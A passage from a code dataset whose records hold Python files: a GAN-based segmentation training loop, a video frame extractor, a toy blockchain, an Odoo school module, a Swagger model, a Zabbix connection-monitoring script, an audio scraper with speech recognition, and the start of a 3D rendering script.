FCDiscriminator(num_classes=args.num_classes)\n model_D2 = FCDiscriminator(num_classes=args.num_classes)\n\n model_D1.train()\n model_D1.cuda(args.gpu)\n\n model_D2.train()\n model_D2.cuda(args.gpu)\n\n if not os.path.exists(args.snapshot_dir):\n os.makedirs(args.snapshot_dir)\n\n # trainloader = data.DataLoader(\n # GTA5DataSet(args.data_dir, args.data_list, max_iters=args.num_steps * args.iter_size * args.batch_size,\n # crop_size=input_size,\n # scale=args.random_scale, mirror=args.random_mirror, mean=IMG_MEAN),\n # batch_size=args.batch_size, shuffle=True, num_workers=args.num_workers, pin_memory=True)\n\n train_set = spacenet.Spacenet(city=config.dataset, split='train', img_root=config.img_root)\n trainloader = DataLoader(train_set, batch_size=args.batch_size, shuffle=True,\n num_workers=args.num_workers, drop_last=True)\n\n trainloader_iter = enumerate(trainloader)\n\n # targetloader = data.DataLoader(cityscapesDataSet(args.data_dir_target, args.data_list_target,\n # max_iters=args.num_steps * args.iter_size * args.batch_size,\n # crop_size=input_size_target,\n # scale=False, mirror=args.random_mirror, mean=IMG_MEAN,\n # set=args.set),\n # batch_size=args.batch_size, shuffle=True, num_workers=args.num_workers,\n # pin_memory=True)\n\n target_set = spacenet.Spacenet(city=config.target, split='train', img_root=config.img_root)\n targetloader = DataLoader(target_set, batch_size=args.batch_size, shuffle=True,\n num_workers=args.num_workers, drop_last=True)\n targetloader_iter = enumerate(targetloader)\n\n # implement model.optim_parameters(args) to handle different models' lr setting\n\n optimizer = optim.SGD(model.optim_parameters(args),\n lr=args.learning_rate, momentum=args.momentum, weight_decay=args.weight_decay)\n optimizer.zero_grad()\n\n optimizer_D1 = optim.Adam(model_D1.parameters(), lr=args.learning_rate_D, betas=(0.9, 0.99))\n optimizer_D1.zero_grad()\n\n optimizer_D2 = optim.Adam(model_D2.parameters(), lr=args.learning_rate_D, betas=(0.9, 0.99))\n optimizer_D2.zero_grad()\n\n if args.gan == 'Vanilla':\n bce_loss = torch.nn.BCEWithLogitsLoss()\n elif args.gan == 'LS':\n bce_loss = torch.nn.MSELoss()\n\n interp = nn.Upsample(size=(input_size[1], input_size[0]), mode='bilinear')\n interp_target = nn.Upsample(size=(input_size_target[1], input_size_target[0]), mode='bilinear')\n\n # labels for adversarial training\n source_label = 0\n target_label = 1\n\n for i_iter in range(args.num_steps):\n\n loss_seg_value1 = 0\n loss_adv_target_value1 = 0\n loss_D_value1 = 0\n\n loss_seg_value2 = 0\n loss_adv_target_value2 = 0\n loss_D_value2 = 0\n\n optimizer.zero_grad()\n adjust_learning_rate(optimizer, i_iter)\n\n optimizer_D1.zero_grad()\n optimizer_D2.zero_grad()\n adjust_learning_rate_D(optimizer_D1, i_iter)\n adjust_learning_rate_D(optimizer_D2, i_iter)\n\n for sub_i in range(args.iter_size):\n\n # train G\n\n # don't accumulate grads in D\n for param in model_D1.parameters():\n param.requires_grad = False\n\n for param in model_D2.parameters():\n param.requires_grad = False\n\n # train with source\n\n try:\n _, batch = trainloader_iter.__next__()\n except StopIteration:\n trainloader_iter = enumerate(trainloader)\n _, batch = trainloader_iter.__next__()\n images, labels = batch\n # print(images)\n images = Variable(images).cuda(args.gpu)\n\n pred1, pred2 = model(images)\n pred1 = interp(pred1)\n pred2 = interp(pred2)\n\n loss_seg1 = loss_calc(pred1, labels, args.gpu)\n loss_seg2 = loss_calc(pred2, labels, args.gpu)\n loss = loss_seg2 + args.lambda_seg * loss_seg1\n\n # proper normalization\n loss = loss / args.iter_size\n loss.backward()\n # loss_seg_value1 += loss_seg1.data.cpu().numpy()[0] / args.iter_size\n # loss_seg_value2 += loss_seg2.data.cpu().numpy()[0] / args.iter_size\n loss_seg_value1 += loss_seg1.data.cpu().numpy() / args.iter_size\n loss_seg_value2 += loss_seg2.data.cpu().numpy() / args.iter_size\n\n # train with target\n\n try:\n _, batch = targetloader_iter.__next__()\n except StopIteration:\n targetloader_iter = enumerate(targetloader)\n _, batch = targetloader_iter.__next__()\n images, _ = batch\n images = Variable(images).cuda(args.gpu)\n\n pred_target1, pred_target2 = model(images)\n pred_target1 = interp_target(pred_target1)\n pred_target2 = interp_target(pred_target2)\n\n D_out1 = model_D1(F.softmax(pred_target1))\n D_out2 = model_D2(F.softmax(pred_target2))\n\n loss_adv_target1 = bce_loss(D_out1,\n Variable(torch.FloatTensor(D_out1.data.size()).fill_(source_label)).cuda(\n args.gpu))\n\n loss_adv_target2 = bce_loss(D_out2,\n Variable(torch.FloatTensor(D_out2.data.size()).fill_(source_label)).cuda(\n args.gpu))\n\n loss = args.lambda_adv_target1 * loss_adv_target1 + args.lambda_adv_target2 * loss_adv_target2\n loss = loss / args.iter_size\n loss.backward()\n # loss_adv_target_value1 += loss_adv_target1.data.cpu().numpy()[0] / args.iter_size\n # loss_adv_target_value2 += loss_adv_target2.data.cpu().numpy()[0] / args.iter_size\n loss_adv_target_value1 += loss_adv_target1.data.cpu().numpy() / args.iter_size\n loss_adv_target_value2 += loss_adv_target2.data.cpu().numpy() / args.iter_size\n\n # train D\n\n # bring back requires_grad\n for param in model_D1.parameters():\n param.requires_grad = True\n\n for param in model_D2.parameters():\n param.requires_grad = True\n\n # train with source\n pred1 = pred1.detach()\n pred2 = pred2.detach()\n\n D_out1 = model_D1(F.softmax(pred1))\n D_out2 = model_D2(F.softmax(pred2))\n\n loss_D1 = bce_loss(D_out1,\n Variable(torch.FloatTensor(D_out1.data.size()).fill_(source_label)).cuda(args.gpu))\n\n loss_D2 = bce_loss(D_out2,\n Variable(torch.FloatTensor(D_out2.data.size()).fill_(source_label)).cuda(args.gpu))\n\n loss_D1 = loss_D1 / args.iter_size / 2\n loss_D2 = loss_D2 / args.iter_size / 2\n\n loss_D1.backward()\n loss_D2.backward()\n\n loss_D_value1 += loss_D1.data.cpu().numpy()\n loss_D_value2 += loss_D2.data.cpu().numpy()\n\n # train with target\n pred_target1 = pred_target1.detach()\n pred_target2 = pred_target2.detach()\n\n D_out1 = model_D1(F.softmax(pred_target1))\n D_out2 = model_D2(F.softmax(pred_target2))\n\n loss_D1 = bce_loss(D_out1,\n Variable(torch.FloatTensor(D_out1.data.size()).fill_(target_label)).cuda(args.gpu))\n\n loss_D2 = bce_loss(D_out2,\n Variable(torch.FloatTensor(D_out2.data.size()).fill_(target_label)).cuda(args.gpu))\n\n loss_D1 = loss_D1 / args.iter_size / 2\n loss_D2 = loss_D2 / args.iter_size / 2\n\n loss_D1.backward()\n loss_D2.backward()\n\n loss_D_value1 += loss_D1.data.cpu().numpy()\n loss_D_value2 += loss_D2.data.cpu().numpy()\n\n optimizer.step()\n optimizer_D1.step()\n optimizer_D2.step()\n\n print('exp = {}'.format(args.snapshot_dir))\n print(\n 'iter = {0:8d}/{1:8d}, loss_seg1 = {2:.3f} loss_seg2 = {3:.3f} loss_adv1 = {4:.3f}, loss_adv2 = {5:.3f} loss_D1 = {6:.3f} loss_D2 = {7:.3f}'.format(\n i_iter, args.num_steps, loss_seg_value1, loss_seg_value2, loss_adv_target_value1, loss_adv_target_value2, loss_D_value1, loss_D_value2))\n\n if i_iter >= args.num_steps_stop - 1:\n print('save model ...')\n torch.save(model.state_dict(), osp.join(args.snapshot_dir, 'paris_' + str(args.num_steps_stop) + '.pth'))\n torch.save(model_D1.state_dict(), osp.join(args.snapshot_dir, 'paris_' + str(args.num_steps_stop) + '_D1.pth'))\n torch.save(model_D2.state_dict(), osp.join(args.snapshot_dir, 'paris_' + str(args.num_steps_stop) + '_D2.pth'))\n break\n\n if i_iter % args.save_pred_every == 0 and i_iter != 0:\n print('taking snapshot ...')\n torch.save(model.state_dict(), osp.join(args.snapshot_dir, 'paris_' + str(i_iter) + '.pth'))\n torch.save(model_D1.state_dict(), osp.join(args.snapshot_dir, 'paris_' + str(i_iter) + '_D1.pth'))\n torch.save(model_D2.state_dict(), osp.join(args.snapshot_dir, 'paris_' + str(i_iter) + '_D2.pth'))\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"DA_algorithms/AdaptSegNet/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":18748,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"3342005","text":"\n\nimport numpy as np\nimport cv2 as cv\nfrom google.colab.patches import cv2_imshow\nimport matplotlib.pyplot as plt\nimport scipy.misc\nfrom google.colab import files\nimport matplotlib.pyplot as plt\n\ncap = cv.VideoCapture('Big_Buck_Bunny_1080_10s_1MB.mp4')\nif (cap.isOpened()== False): \n print(\"Error opening video stream or file\")\n\nhsv = []\nwhile cap.isOpened():\n ret, frame = cap.read()\n if not ret:\n break\n h = cv.cvtColor(frame, cv.COLOR_BGR2HSV)\n hsv.append(h)\n if cv.waitKey(1) == ord('q'):\n break\ncap.release()\ncv.destroyAllWindows()\n\nlength = len(hsv)\n\nfor i in range(length):\n name = 'frame' + str(i) + '.tiff'\n plt.imshow(hsv[i])\n plt.savefig(name, transparent=True, dpi=300, bbox_inches=\"tight\", pad_inches=0.0)\n files.download(name)\n","sub_path":"extract_frame_from_video/extract_frame_from_mp4video.py","file_name":"extract_frame_from_mp4video.py","file_ext":"py","file_size_in_byte":775,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"253282271","text":"import hashlib\nimport pickle\nclass BlockChain:\n\n def __new__(self,previous_hash,name,content,blockchain):\n difficulty = 3\n difficulty_string = ''.join(['0' for x in range(difficulty)])\n nounce = 1\n block = {}\n block['previous_hash'] = previous_hash\n # block['hash'] = m.hexdigest()\n block['name'] = name\n block['content'] = content\n m = hashlib.sha3_256()\n \n \n while m.hexdigest()[:difficulty] != difficulty_string:\n nounce +=1\n m.update(pickle.dumps(blockchain))\n block['nounce'] = nounce\n block['hash'] = m.hexdigest()\n\n return block\n ","sub_path":"blockchain.py","file_name":"blockchain.py","file_ext":"py","file_size_in_byte":682,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"530726322","text":"import requests\nimport time\nfrom datetime import date\n\nfrom datetime import datetime\nfrom odoo.exceptions import ValidationError,UserError\n\n\nfrom odoo.tools import DEFAULT_SERVER_DATE_FORMAT\n\n\nfrom odoo import models,api,fields,_\n\n\nclass student_fee_inherited(models.Model):\n\t_inherit=\"student.payslip\"\n\n\n\n\n\temail=fields.Char(string=\"Email\")\n\tdue_date=fields.Date(string=\"Due Date\")\n\tbarcode=fields.Char(string=\"Barcode\")\n\n\n\n\t@api.onchange('student_id')\n\tdef get_student_email(self):\n\t\tself.email=self.student_id.email\n\n\n\n\t\n\nclass student_transfer_inherited(models.Model):\n\t_inherit = 'student.transfer'\n\n\n\tno_of_days=fields.Char(string=\"Previous Class Days\")\n\n\n\n\t# @api.onchange('student_name')\n\t# def student_transfer_class_days(self):\n\t# \tres=self.env['student.student'].search([('name','=',self.student_name.name)])\n\t# \trec=res.standard_id.start_date\n\t# \trec1=date.today()\n\t# \tprint rec,\"--------------\",rec1,\"===================\"\n\t# \tstart_date = datetime.strptime(str(rec), \"%Y-%m-%d\")\n\t# \tend_date = datetime.strptime(str(rec1), \"%Y-%m-%d\")\n\t# \t# date = datetime.strptime(str(rec), DEFAULT_SERVER_DATE_FORMAT)\n\t# \t# enddate = datetime.strptime(str(rec1),DEFAULT_SERVER_DATE_FORMAT)\n\t# \tdays = (end_date - start_date).days \n\n\t\t\n\t# \tprint(days)\n\t#('semester_id','=',self.semester_id.name),('medium_id','=',self.medium_id.name),('state','=','running')\n\n\nclass student_assign_class(models.Model):\n\t_inherit='student.student'\n\n\n\tdue_date=fields.Date(string=\"Due Date\")\n\tpromotion_status=fields.Char(string=\"Promotion Status\")\n\n\n\n\t@api.multi\n\tdef assining_class(self):\n\t\trun_class_list = []\n\t\tclass_names = self.env['school.standard']\n\t\tnames = class_names.search([('school_id','=',self.school_id.id),\n\t\t\t\t\t\t\t\t\t('standard_id','=',self.program_id.id),\n\t\t\t\t\t\t\t\t\t('semester_id','=',self.semester_id.id),\n\t\t\t\t\t\t\t\t\t('medium_id','=',self.medium_id.id),\n\t\t\t\t\t\t\t\t\t('state','=','running')\n\t\t\t\t\t\t\t\t\t])\n\t\tfor classes in names:\n\t\t\trun_class_list.append({'name': str(classes.standard),\n\t\t\t\t\t\t\t\t\t'campus':str(classes.school_id.name),\n\t\t\t\t\t\t\t\t\t'program_id':str(classes.standard_id.name),\n\t\t\t\t\t\t\t\t\t'level':str(classes.semester_id.name),\n\t\t\t\t\t\t\t\t\t'remaining_seats':str(classes.remaining_seats),\n\t\t\t\t\t\t\t\t\t'start_date':str(classes.start_date),\n\t\t\t\t\t\t\t\t\t'end_date':str(classes.end_date),\n\t\t\t\t\t\t\t\t\t})\n\t\treturn {\n\t\t\t'type': 'ir.actions.act_window',\n\t\t\t'res_model': 'class.assign',\n\t\t\t'view_id': self.env.ref('school_ems.class_assign_wizard_view').id,\n\t\t\t'view_type': 'form',\n\t\t\t'view_mode': 'form',\n\t\t\t'data': None,\n\t\t\t'target': 'new',\n\t\t\t'context':{\n\t\t\t\t'default_class_assign':run_class_list\n\t\t\t\t}\n\t\t\t}\n\t@api.multi\n\tdef assining_class1(self):\n\t\trun_class_list = []\n\t\tclass_names = self.env['school.standard']\n\t\tnames = class_names.search([('school_id','=',self.school_id.id),\n\t\t\t\t\t\t\t\t\t('standard_id','=',self.program_id.id),\n\t\t\t\t\t\t\t\t\t('semester_id','=',self.semester_id.id),\n\t\t\t\t\t\t\t\t\t('medium_id','=',self.medium_id.id),\n\t\t\t\t\t\t\t\t\t('add_final_date','!=',datetime.today().date()),\n\t\t\t\t\t\t\t\t\t('state','in',('running','draft')),\n\t\t\t\t\t\t\t\t\t])\n\t\tfor classes in names:\n\t\t\trun_class_list.append({'name': str(classes.standard),\n\t\t\t\t\t\t\t\t\t'campus':str(classes.school_id.name),\n\t\t\t\t\t\t\t\t\t'program_id':str(classes.standard_id.name),\n\t\t\t\t\t\t\t\t\t'level':str(classes.semester_id.name),\n\t\t\t\t\t\t\t\t\t'remaining_seats':str(classes.remaining_seats),\n\t\t\t\t\t\t\t\t\t'start_date':str(classes.start_date),\n\t\t\t\t\t\t\t\t\t'end_date':str(classes.end_date),\n\t\t\t\t\t\t\t\t\t'state':str(classes.state)\n\t\t\t\t\t\t\t\t\t})\n\t\treturn {\n\t\t\t'type': 'ir.actions.act_window',\n\t\t\t'res_model': 'class.assign',\n\t\t\t'view_id': self.env.ref('school_ems.class_assign_wizard_view').id,\n\t\t\t'view_type': 'form',\n\t\t\t'view_mode': 'form',\n\t\t\t'data': None,\n\t\t\t'target': 'new',\n\t\t\t'context':{\n\t\t\t\t'default_class_assign':run_class_list\n\t\t\t\t}\n\t\t\t}\n\t\t\n\n\t\n\t@api.onchange('standard_id')\n\tdef get_values(self):\n\t\t\n\n\t\trec=self.env['school.standard'].search([('standard','=',self.standard_id.standard)])\n\t\tcount = 0\n\t\tfor obj in rec.student_ids:\n\t\t\tcount += 1\n\t\tself.roll_no = count\n\n\n\t@api.constrains('nid')\n\tdef VeryfyingTazkiraNnumber(self):\n\t\trec=self.env['student.student'].search([])\n\t\tfor x in rec:\n\t\t\tif self.nid==x.nid:\n\t\t\t\tif x.id=='terminate':\n\t\t\t\t\traise UserError(_('This Student in BlackList'))\n\n\n\nclass AssigingClasses(models.Model):\n\t_name = \"class.assign\"\n\n\tclass_assign = fields.One2many('class.assign.lines', 'm2o', string=\"Runing Classes\")\n\n\t\n\t@api.constrains('class_assign')\n\tdef classes_selection_validation(self):\n\t\tcount = 0\n\t\tfor obj in self.class_assign:\n\t\t\tif obj.assign_class == True:\n\t\t\t\tcount = count+1\n\t\tif count != 1:\n\t\t\traise UserError(\"Please select any one Class\")\n\n\t@api.multi\n\tdef student_class_assigning(self):\n\t\tobj = self.env['school.standard'].search([])\n\t\tactive_id = self.env.context.get('active_id')\n\t\tstudents = self.env['student.student'].search([('id','=',active_id)])\n\t\tfor rec in self.class_assign:\n\t\t\tif rec.assign_class == True:\n\t\t\t\tfor obj1 in obj:\n\t\t\t\t\tif rec.name == obj1.standard:\n\t\t\t\t\t\tstudents.standard_id = obj1.id\n\t\t\t\t\t\tstudents.roll_no=len(obj1.student_ids)\n\t\t\t\t\t\tstudents.division = obj1.division_id.name\n\t\t\t\t\t\tstudents.start_class=str(obj1.start_date)+ ' to ' + str(obj1.end_date)\n\t\t\t\t\t\tstudents.state='done'\n\t\t\t\t\t\t\n\nclass AssigingClassesLines(models.TransientModel):\n\t_name = \"class.assign.lines\"\n\n\tname = fields.Char(\"Class\", readonly=\"1\")\n\tcampus = fields.Char(\"Campus\", readonly=\"1\")\n\tprogram_id = fields.Char(\"Program\", readonly=\"1\")\n\tlevel = fields.Char(\"Level\", readonly=\"1\")\n\tremaining_seats = fields.Char('Available', readonly=\"1\")\n\tstart_date = fields.Char('State Date', readonly=\"1\")\n\tend_date = fields.Char('End Date', readonly=\"1\")\n\tassign_class = fields.Boolean(string=\"Assign\")\n\tstate=fields.Char(string=\"State\")\n\tm2o = fields.Many2one('class.assign',\"M2O\")\n\n\nclass StudentAnnouncement(models.Model):\n\t_name = 'announcement.announcement'\n\t_rec_name=\"announcement_type\"\n\t_inherit = ['mail.thread','ir.needaction_mixin']\n\n\tannouncement_type=fields.Selection([('class_based','Class Based Announcements'),('shift_based','Shift Based Announcements'),('campus_based','Campus Based Announcements')],string='Announcement Type')\n\tcampus=fields.Many2one('school.school',string=\"Campus\")\n\tprogram=fields.Many2one('standard.standard',string=\"Program\")\n\tlevel_id=fields.Many2one('standard.semester',string=\"Course Level\")\n\tclass_id=fields.Many2one('school.standard',string=\"Class\",ondelete='cascade', index=True, copy=False)\n\tshift_id=fields.Many2one('standard.medium',string=\"Shift\")\n\tnote=fields.Text('Message')\n\tstate=fields.Selection([('draft','Draft'),('send','Sent')], default='draft')\n\temail=fields.Char('Email')\n\tstudent_name=fields.Char(string='Student')\n\n\n\n\n\t@api.multi\n\tdef warning_sent_to_students(self):\n\t\trec=self.env['student.student'].search([])\n\t\tif self.announcement_type=='class_based':\n\t\t\tfor x in rec:\n\t\t\t\tif self.campus.name==x.school_id.name and self.program.name==x.program_id.name and self.level_id.name==x.semester_id.name and self.shift_id.code==x.medium_id.code and self.class_id.standard==x.standard_id.standard:\n\t\t\t\t\tif x.state=='done':\n\t\t\t\t\t\tself.email=x.email\n\t\t\t\t\t\tself.student_name=x.name\n\t\t\t\t\t\tstudent = self.env.ref('school_ems.students_announcements')\n\t\t\t\t\t\tself.env['mail.template'].browse(student.id).send_mail(self.id, force_send=True)\n\t\t\t\t\tself.write({'state':'send'})\n\n\t\tif self.announcement_type=='shift_based':\n\t\t\tfor x in rec:\n\t\t\t\tif self.campus.name==x.school_id.name and self.program.name==x.program_id.name and self.level_id.name==x.semester_id.name and self.shift_id.code==x.medium_id.code :\n\t\t\t\t\tif x.state=='done':\n\t\t\t\t\t\tself.email=x.email\n\t\t\t\t\t\tself.student_name=x.name\n\t\t\t\t\t\tstudent = self.env.ref('school_ems.students_announcements')\n\t\t\t\t\t\tself.env['mail.template'].browse(student.id).send_mail(self.id, force_send=True)\n\t\t\t\t\tself.write({'state':'send'})\n\n\t\tif self.announcement_type=='campus_based':\n\t\t\tfor x in rec:\n\t\t\t\tif self.campus.name==x.school_id.name:\n\t\t\t\t\tif x.state=='done':\n\t\t\t\t\t\tself.email=x.email\n\t\t\t\t\t\tself.student_name=x.name\n\t\t\t\t\t\tstudent = self.env.ref('school_ems.students_announcements')\n\t\t\t\t\t\tself.env['mail.template'].browse(student.id).send_mail(self.id, force_send=True)\n\t\t\t\t\tself.write({'state':'send'})\n\n\n\t\t\t\t\t\n\n\n\t\t\t\n\t\t\t\n\n\t\n\n\n\n\n\t\t\n\n\n\t\t\n\t\t\t\n\t\t\t\t\n\t\t\t\t\t\n\n\t\t\t\t\n\t\t\t\t\n\n\n\n\n\t\t\t\n\n\n\n\n\n\n\n\n\t\n\t\t","sub_path":"meli_mis/addons/school_ems/models/student_reminder.py","file_name":"student_reminder.py","file_ext":"py","file_size_in_byte":8215,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"90164806","text":"# coding: utf-8\n\nfrom __future__ import absolute_import\nfrom datetime import date, datetime # noqa: F401\n\nfrom typing import List, Dict # noqa: F401\n\nfrom swagger_server.models.base_model_ import Model\nfrom swagger_server import util\n\n\nclass QueryParams(Model):\n \"\"\"NOTE: This class is auto generated by the swagger code generator program.\n\n Do not edit the class manually.\n \"\"\"\n def __init__(self, query: str=None, top: int=10, skip: int=0): # noqa: E501\n \"\"\"QueryParams - a model defined in Swagger\n\n :param query: The query of this QueryParams. # noqa: E501\n :type query: str\n :param top: The top of this QueryParams. # noqa: E501\n :type top: int\n :param skip: The skip of this QueryParams. # noqa: E501\n :type skip: int\n \"\"\"\n self.swagger_types = {\n 'query': str,\n 'top': int,\n 'skip': int\n }\n\n self.attribute_map = {\n 'query': 'query',\n 'top': 'top',\n 'skip': 'skip'\n }\n self._query = query\n self._top = top\n self._skip = skip\n\n @classmethod\n def from_dict(cls, dikt) -> 'QueryParams':\n \"\"\"Returns the dict as a model\n\n :param dikt: A dict.\n :type: dict\n :return: The QueryParams of this QueryParams. # noqa: E501\n :rtype: QueryParams\n \"\"\"\n return util.deserialize_model(dikt, cls)\n\n @property\n def query(self) -> str:\n \"\"\"Gets the query of this QueryParams.\n\n Query content # noqa: E501\n\n :return: The query of this QueryParams.\n :rtype: str\n \"\"\"\n return self._query\n\n @query.setter\n def query(self, query: str):\n \"\"\"Sets the query of this QueryParams.\n\n Query content # noqa: E501\n\n :param query: The query of this QueryParams.\n :type query: str\n \"\"\"\n\n self._query = query\n\n @property\n def top(self) -> int:\n \"\"\"Gets the top of this QueryParams.\n\n Return this many results (pagination) # noqa: E501\n\n :return: The top of this QueryParams.\n :rtype: int\n \"\"\"\n return self._top\n\n @top.setter\n def top(self, top: int):\n \"\"\"Sets the top of this QueryParams.\n\n Return this many results (pagination) # noqa: E501\n\n :param top: The top of this QueryParams.\n :type top: int\n \"\"\"\n\n self._top = top\n\n @property\n def skip(self) -> int:\n \"\"\"Gets the skip of this QueryParams.\n\n Skip this many results (pagination) # noqa: E501\n\n :return: The skip of this QueryParams.\n :rtype: int\n \"\"\"\n return self._skip\n\n @skip.setter\n def skip(self, skip: int):\n \"\"\"Sets the skip of this QueryParams.\n\n Skip this many results (pagination) # noqa: E501\n\n :param skip: The skip of this QueryParams.\n :type skip: int\n \"\"\"\n\n self._skip = skip\n","sub_path":"metapyquod-server/swagger_server/models/query_params.py","file_name":"query_params.py","file_ext":"py","file_size_in_byte":2958,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"526659157","text":"#!/usr/bin/python\nfrom __future__ import print_function\nimport itertools as it\nimport re\nimport os\nimport socket\nimport subprocess\nimport sys\nimport argparse\n\ninterfaces = {}\nestablished = []\n\n\ndef _parse_arguments():\n parser = argparse.ArgumentParser()\n parser.add_argument('-f', dest='filename', default='/home/online/data/loclnode.ini', help='path localnode.ini')\n parser.add_argument('-e', dest='exceptions', nargs='+', default='', help='Except various of ports from script')\n parser.add_argument('-s', action='store_true', dest='script', help='script to complex checking')\n return parser\n\ndef _main_list_mps(args):\n status = \"\"\n inputdata = \"\"\n\n if hasattr(args, 'filename'):\n filename = args.filename\n\n if hasattr(args, 'script'):\n script = args.script\n\n if hasattr(args, 'exceptions'):\n mps_exceptions = args.exceptions\n\n i=0\n if not script: print(r'{\"data\":[', end=\"\")\n\n with open(filename,'r') as f:\n for key,group in it.groupby(f,lambda line: re.search('^\\[\\w+\\]', line)):\n if not key:\n group = list(group)\n conf_el = {}\n for g in group:\n if g != '\\n':\n (first, second) = g.rstrip().split(\"=\")\n conf_el.update({first: second})\n if conf_el.get('TcpIpForeignHostName'):\n if i != 0:\n if not script: print (\",\")\n i+=1\n\n if (conf_el.get('TcpIpForeignServiceName') not in mps_exceptions):\n interfaces.update({conf_el.get('TcpIpForeignServiceName'): {'host': conf_el.get('TcpIpForeignHostName'), 'ip': socket.gethostbyname(conf_el.get('TcpIpForeignHostName')), 'port':socket.getservbyname(conf_el.get('TcpIpForeignServiceName'))}})\n if not script: print ('{{\"{{#SERVICENAME}}\":\"{0}\",\"{{#HOST}}\":\"{1}\",\"{{#PORT}}\":\"{2}\"}}'.format(conf_el.get('TcpIpForeignHostName'), conf_el.get('TcpIpForeignHostName'), conf_el.get('TcpIpForeignServiceName')), end=\"\")\n if not script: print (\"]}\")\n\n #process = subprocess.getoutput('/usr/sbin/lsof -P -iTCP')\n process = subprocess.Popen([\"/usr/sbin/lsof\", '-P', '-iTCP'], stdout=subprocess.PIPE).communicate()[0].decode('utf-8')\n proc = [(p.split()[8]).rstrip().split(\"->\") for p in process.split('\\n') if p != '']\n established_hosts = [p[1].split(\":\") for p in proc if len(p) > 1]\n for h,p in established_hosts:\n if p.isdigit():\n established.append(\"{0}:{1}\".format(socket.gethostbyname(h), p))\n else:\n established.append(\"{0}:{1}\".format(socket.gethostbyname(h), socket.getservbyname(p)))\n\n\n for iface in interfaces.keys():\n count = established.count(\"{0}:{1}\".format(interfaces[iface]['ip'], interfaces[iface]['port']))\n if count != 1: status = status + \"{0} {1} {2} {3} \".format(iface, count, interfaces[iface]['ip'], interfaces[iface]['port'])\n #print(iface, count, interfaces[iface]['ip'], interfaces[iface]['port'])\n #os.system(\"/usr/bin/zabbix_sender -c /etc/zabbix/zabbix_agentd.conf -k CONNECTIONS[{}] -o {} >/dev/null\".format(iface, count))\n\n inputdata += \"{0} CONNECTIONS[{1}] {2}\\n\".format('-', iface, count)\n\n #print (inputdata)\n if script: print (status)\n else:\n process = subprocess.Popen(['/usr/bin/zabbix_sender -c /etc/zabbix/zabbix_agentd.conf -i -'], shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, universal_newlines=True)\n #p = subprocess.run(['/usr/bin/zabbix_sender', '-c', '/etc/zabbix/zabbix_agentd.conf', '-r', '-i', '-'], stdout=subprocess.PIPE, input=inputdata, encoding='ascii', universal_newlines=True)\n stdoutdata, stderrdata = process.communicate(input=inputdata)\n #print (stdoutdata, stderrdata)\n\n\nif __name__ == '__main__':\n _main_list_mps(_parse_arguments().parse_args())\n\n","sub_path":"list_mps.py","file_name":"list_mps.py","file_ext":"py","file_size_in_byte":3938,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"212427263","text":"import requests\nfrom bs4 import BeautifulSoup\nimport speech_recognition as sr\nimport re\n\nheaders = {\n 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0',\n}\n\nr=requests.get(\"https://www.wavsource.com/people/people.htm\", headers=headers)\n\n\nawal = BeautifulSoup(r.text, 'html.parser')\nlink = 'https://www.wavsource.com/people/'+awal.select('option:nth-child(7)')[0].get('value')\n\n\n\n\nr =requests.get(link, headers=headers)\nawal = BeautifulSoup(r.text, 'html.parser')\n\n\nfor items in range(0,63):\n pertama= awal.select('.c1 script')[items].string\n pertama = pertama.replace('s2p(','').replace(')','').replace('\\'','').strip()\n pertama = pertama.split(',')\n pertama = 'https://www.wavsource.com/snds_2020-10-01_3728627494378403/'+pertama[0]+'/'+pertama[1]\n \n with requests.Session() as req:\n name = re.search(r\"([^\\/]+$)\", pertama).group()\n print(f\"Downloading File {name}\")\n headers = {\n 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0',\n }\n download = req.get(pertama, headers=headers)\n \n if download.status_code == 200:\n print (\"berhasil didownload\")\n with open('hasil/'+name, 'wb') as f:\n f.write(download.content)\n else:\n print(f\"Download Failed For File {name}\")\n\n if items == 2 or items == 11:\n print('errot file yang ini \\n')\n continue\n\n recog = sr.Recognizer()\n\n \n\n # open the file\n with sr.AudioFile('hasil/'+name) as source:\n # listen for the data (load audio to memory)\n \n \n try:\n audio_data = recog.record(source)\n except:\n print(\"File Tidak Bisa Di masukin record (gaktau kenapa)\")\n \n # recognize (convert from speech to text)\n try:\n text = recog.recognize_google(audio_data)\n print(\"File Musik Tersebut Terbilang : \")\n print(text)\n except:\n print('Suaranya terlalu bagus')\n print('\\n')\n\n","sub_path":"Tugas2.py","file_name":"Tugas2.py","file_ext":"py","file_size_in_byte":2178,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"245363909","text":"\r\nfrom Scripts.Index import *\r\nimport random\r\nimage = SR()\r\nimage.glInit()\r\nimage.glCreateWindow(1500,1500)\r\nimage.lookAt((-1,1.765,5), (0,0,0), (0,0.5,0))\r\nimage.glViewPort(0,0,1500,1500)\r\nimage.setFileName(\"./proyecto.bmp\")\r\n\r\nprint(\"inicia renderizado\")\r\nprint(\"render (1/6)\")\r\nimage.loadOBJ(\"./OBJs/CloudN.obj\", translate=(-0.6,0.65,0), scale=(0.08,0.08,0.08), rotate=(-0.2,-0.8,0))\r\nprint(\"render (2/6)\")\r\nimage.loadOBJ(\"./OBJs/CloudN.obj\", translate=(0.075,0.2,0), scale=(0.08,0.08,0.08), rotate=(-0.2,-0.8,0))\r\nprint(\"render (3/6)\")\r\nimage.loadOBJ(\"./OBJs/floor.obj\", translate=(0.25,-1,-0.5), scale=(0.25,-0.4,0.08), rotate=(0.75,0,-0.2), fill=True)\r\nprint(\"render (4/6)\")\r\nimage.loadOBJ(\"./OBJs/polyhouse.obj\", translate=(0.70,-1,0), scale=(0.15,0.15,0.15), rotate=(-0.35,1,-0.10), fill=True)\r\nprint(\"render 